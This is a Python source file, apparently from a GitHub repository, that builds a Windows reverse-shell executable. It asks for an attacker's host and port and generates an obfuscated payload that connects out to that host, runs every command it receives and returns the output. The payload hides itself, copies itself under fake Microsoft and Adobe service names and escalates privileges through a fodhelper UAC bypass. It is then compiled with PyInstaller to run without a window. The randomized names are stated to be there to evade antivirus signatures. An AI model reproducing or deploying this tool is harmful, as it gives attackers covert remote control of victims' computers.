GitHub Viewer
"""
Copyright (c) 2020 LcGk
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
Other infos:
Script developed for educational and whitehat purposes only. Its use is the user's responsibility.
Random variable/function/import names are used to avoid signature detection.
"""
# TODOS
# - Improve stability
# - Clean code
title = """
.-= Python Reverse Shell =-.
By LcGk
"""
from random import choice, randint as r
from colorama import Fore
from base64 import b64encode
import os
from shutil import rmtree
import subprocess
from time import sleep
from sys import argv
def genRandChars(l):
c = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
return ''.join(choice(c) for x in range(l))
def sysName():
names = ["Adobe Runtime", "Windows Assistant", "Windows Live Service", "Microsoft WebService", "Microsoft Helper", "Microsoft Utility", "Explorer Settings", "Adobe Updater", "Adobe Assistance",
"Microsoft Technology Helper", "Windows Utility", "COM Surrogate", "Windows Health Service"]
return choice(names)
def main():
global title
question = Fore.LIGHTMAGENTA_EX
advanced = Fore.LIGHTBLUE_EX
warning = Fore.YELLOW
info = Fore.LIGHTCYAN_EX
success = Fore.LIGHTGREEN_EX
reset = Fore.RESET
if len(argv) > 1:
if argv[1] == "--no-color":
question = ""
advanced = ""
warning = ""
info = ""
success = ""
reset = ""
else:
print("Info: You can use the --no-color flag if your terminal doesn't support colors")
print(success + title + reset)
IP = b64encode(input(question + "[?] LHOST » " + reset).encode())
PORT = b64encode(input(question + "[?] LPORT » " + reset).encode())
adOp = input(question + "[?] Enable advanced options? [y/N] » " + reset)
advancedOp = False
adOptions = {"initialSleep": 0.05, "hidenFile": False, "spawnOtherProcess": False, "StartWithWindows": False}
if(adOp.lower() == "y"):
advancedOp = True
adOptions["initialSleep"] = float(input(advanced + "[Advanced] Seconds to sleep before running (allows float) » " + reset))
adOptions["hidenFile"] = True if ((input(advanced + "[Advanced] Hide file? [y/N] » " + reset).lower() == "y")) else False
adOptions["spawnOtherProcess"] = True if((input(advanced + "[Advanced] Spawn shell in another process? [y/N] » " + reset).lower() == "y")) else False
# adOptions["StartWithWindows"] = True if ((input(advanced + "[Advanced] Start shell with windows [y/N] » " + reset).lower() == "y")) else False
vars = {"socket": genRandChars(r(8, 12)), "subprocess": genRandChars(r(8, 12)), "os": genRandChars(r(8, 12)),
"sleep": genRandChars(r(8, 12)), "sWith": genRandChars(r(12, 14)), "send": genRandChars(r(18, 24)),
"recv": genRandChars(r(18, 24)), "s": genRandChars(r(6, 12)), "connected": genRandChars(r(16, 32)),
"data": genRandChars(r(12, 14)), "p": genRandChars(r(4, 6)), "r": genRandChars(r(8, 10)), "b64": genRandChars(r(22, 36)),
"host": genRandChars(r(48, 64)), "hideFile": genRandChars(r(26, 48)), "oProcess": genRandChars(r(40, 62)),
"copy": genRandChars(r(14, 22)), "inOtherProcess": genRandChars(r(22, 44)), "bypassUAC": genRandChars(r(64, 96)), "winreg": genRandChars(r(14, 28)),
"ctypes": genRandChars(r(18, 26))}
bA = "{"
bB = "}"
shell = f"""
import socket as {vars["socket"]}, subprocess as {vars["subprocess"]}, os as {vars["os"]}, winreg as {vars["winreg"]};
from time import sleep as {vars["sleep"]};
from base64 import b64decode as {vars["b64"]};
import sys
from shutil import copy as {vars["copy"]}
import ctypes as {vars["ctypes"]}
{vars["sleep"]}({adOptions["initialSleep"]})
def getCPath():
if(getattr(sys, 'frozen', False)):
rPath = sys.executable
else:
rPath = {vars["os"]}.path.abspath(__file__)
n = {vars["os"]}.path.basename(rPath)
return [rPath, n]
def cFix():
sInfo = {vars["subprocess"]}.STARTUPINFO()
sInfo.dwFlags |= {vars["subprocess"]}.STARTF_USESHOWWINDOW
args = {{'stdout': {vars["subprocess"]}.DEVNULL,
'stderr': {vars["subprocess"]}.DEVNULL,
'stdin': {vars["subprocess"]}.DEVNULL,
'startupinfo': sInfo,
'env': {vars["os"]}.environ}}
return args
def {vars["hideFile"]}():
rPath, n = getCPath()
{vars["subprocess"]}.call(["attrib", "+H", n, "/S"], **cFix())
try:
{vars["os"]}.rename(rPath, "C:\\\\ProgramData\\\\" + n)
except:
pass
if({adOptions["hidenFile"]}):
{vars["hideFile"]}()
def isAdmin():
try:
return {vars["ctypes"]}.windll.shell32.IsUserAdmin()
except:
return False
def {vars["bypassUAC"]}(dir):
if not (isAdmin()):
try:
rPath = 'Software\\\\Classes\\\\ms-settings\\\\shell\\\\open\\\\command'
{vars["winreg"]}.CreateKey({vars["winreg"]}.HKEY_CURRENT_USER, rPath)
rKey = {vars["winreg"]}.OpenKey({vars["winreg"]}.HKEY_CURRENT_USER, rPath, 0, {vars["winreg"]}.KEY_WRITE)
{vars["winreg"]}.SetValueEx(rKey, "DelegateExecute", 0, {vars["winreg"]}.REG_SZ, '')
{vars["winreg"]}.CloseKey(rKey)
{vars["sleep"]}(0.025)
cmd = "C:\\\\Windows\\\\System32\\\\cmd.exe /k " + dir
{vars["winreg"]}.CreateKey({vars["winreg"]}.HKEY_CURRENT_USER, rPath)
rKey = {vars["winreg"]}.OpenKey({vars["winreg"]}.HKEY_CURRENT_USER, rPath, 0, {vars["winreg"]}.KEY_WRITE)
{vars["winreg"]}.SetValueEx(rKey, None, 0, {vars["winreg"]}.REG_SZ, cmd)
{vars["winreg"]}.CloseKey(rKey)
{vars["sleep"]}(0.025)
{vars["subprocess"]}.Popen(["C:\\\\Windows\\\\System32\\\\fodhelper.exe"], shell=False, stdout={vars["subprocess"]}.DEVNULL, stdin={vars["subprocess"]}.DEVNULL, stderr={vars["subprocess"]}.DEVNULL, close_fds=True)
sys.exit()
except:
pass
else:
return
rPath, n = getCPath()
{vars["bypassUAC"]}(rPath)
{vars["inOtherProcess"]} = False
def {vars["oProcess"]}():
global {vars["inOtherProcess"]}
rPath, n = getCPath()
nPath = "C:\\\\ProgramData\\\\{sysName()}.exe"
if({vars["os"]}.path.exists(nPath)):
if(n == {vars["os"]}.path.basename(nPath)):
return
try:
try:
{vars["copy"]}(rPath, nPath)
except:
pass
{vars["sleep"]}(0.0025)
{vars["subprocess"]}.Popen([nPath], shell=False, stdout={vars["subprocess"]}.DEVNULL, stdin={vars["subprocess"]}.DEVNULL, stderr={vars["subprocess"]}.DEVNULL, close_fds=True)
{vars["inOtherProcess"]} = True
{vars["sleep"]}(0.5)
except:
print("??")
if({vars["inOtherProcess"]}):
sys.exit()
if({adOptions["spawnOtherProcess"]}):
{vars["oProcess"]}()
def {vars["sWith"]}(s, w):
s = s.split(" ")
if(s[0] == w):
return True
return False
def {vars["send"]}(s, m):
m = (f"\\n[{bA}{vars["socket"]}.gethostname(){bB}]\\n" + m).encode('utf-8')
s.send(m)
def {vars["recv"]}(s):
return s.recv(2048).decode('utf-8').strip()
def {vars["host"]}():
return (({vars["b64"]}({IP})).decode(), int(({vars["b64"]}({PORT})).decode()))
{vars["s"]} = {vars["socket"]}.socket({vars["socket"]}.AF_INET, {vars["socket"]}.SOCK_STREAM)
{vars["s"]}.settimeout(30)
{vars["connected"]} = False
while not {vars["connected"]}:
try:
{vars["s"]}.connect({vars["host"]}())
{vars["send"]}({vars["s"]}, "Shell started.\\n -> ")
{vars["connected"]} = True
except {vars["socket"]}.timeout:
pass
except:
{vars["sleep"]}(1)
{vars["sleep"]}(0.5)
while {vars["connected"]}:
{vars["s"]}.settimeout(60)
try:
{vars["data"]} = {vars["recv"]}({vars["s"]})
if({vars["data"]}.lower() == "quit" or {vars["data"]}.lower() == "exit"):
{vars["connected"]} = False
break
elif({vars["sWith"]}({vars["data"]}.lower(), "cd")):
try:
{vars["os"]}.chdir({vars["data"]}.replace("cd ", ""))
{vars["send"]}({vars["s"]}, "New directory: " + {vars["os"]}.getcwd())
except:
{vars["send"]}({vars["s"]}, "Couldn't change directory.")
elif({vars["data"]}.lower() == "ls"):
{vars["send"]}({vars["s"]}, "Current directory: " + {vars["os"]}.getcwd())
elif({vars["data"]}.lower() == "?" or {vars["data"]}.lower() == "help"):
{vars["send"]}({vars["s"]}, "Command list:\\nquit or exit Close shell process\\nPress ctrl+c Close connection but shell still open\\ncd Change working directory\\nls Show current directory\\n? or help Show command list\\nAny other command System commands\\n")
else:
if(len({vars["data"]}) > 0):
{vars["p"]} = {vars["subprocess"]}.Popen({vars["data"]}, shell=True, stdout={vars["subprocess"]}.PIPE, stdin={vars["subprocess"]}.PIPE, stderr={vars["subprocess"]}.PIPE)
{vars["r"]} = {vars["p"]}.stdout.read().decode('utf-8', errors='replace') + "\\n Errors -> " + {vars["p"]}.stderr.read().decode('utf-8', errors='replace')
{vars["send"]}({vars["s"]}, {vars["r"]})
else:
{vars["send"]}({vars["s"]}, "Invalid or blank command\\n")
{vars["s"]}.send("\\n -> ".encode('utf-8'))
except {vars["socket"]}.timeout:
{vars["sleep"]}(0.5)
pass
except:
{vars["connected"]} = False
{vars["s"]}.close()
"""
# print(shell)
# return
print(warning + "[!] Attention! Wrinting the shell will override any other file in the folder \"shellpybuild\" (if any)" + reset)
conf = input(question + "[?] Continue? [Y/n] » " + reset)
if(conf.lower() == "n"):
print("Action cancelled.")
exit()
print(info + "[i] Writing shell to file..." + reset)
try:
rmtree("shellpybuild")
except Exception as err:
pass
sleep(1.5)
os.mkdir("shellpybuild")
os.chdir("shellpybuild")
sFile = open("shell.py", "w")
sFile.write(shell)
sFile.close()
print(info + "[i] Compiling to exe..." + reset)
p = subprocess.call("python -m PyInstaller --noconsole --onefile shell.py -y", stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
# subprocess.call("python -m PyInstaller --onefile shell.py -y", stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
# os.system("cls")
print(success + "[✓] Compiled." + reset)
print(info + "[i] Removing files..." + reset)
os.rename("dist/shell.exe", "shell.exe")
sleep(1)
try:
rmtree("__pycache__")
rmtree("build")
rmtree("dist")
os.remove("shell.py")
os.remove("shell.spec")
except Exception as err:
pass
print(success + "[✓] Shell created successfully. (Writen to shellpybuild/shell.exe)" + reset)
if __name__ == "__main__":
main()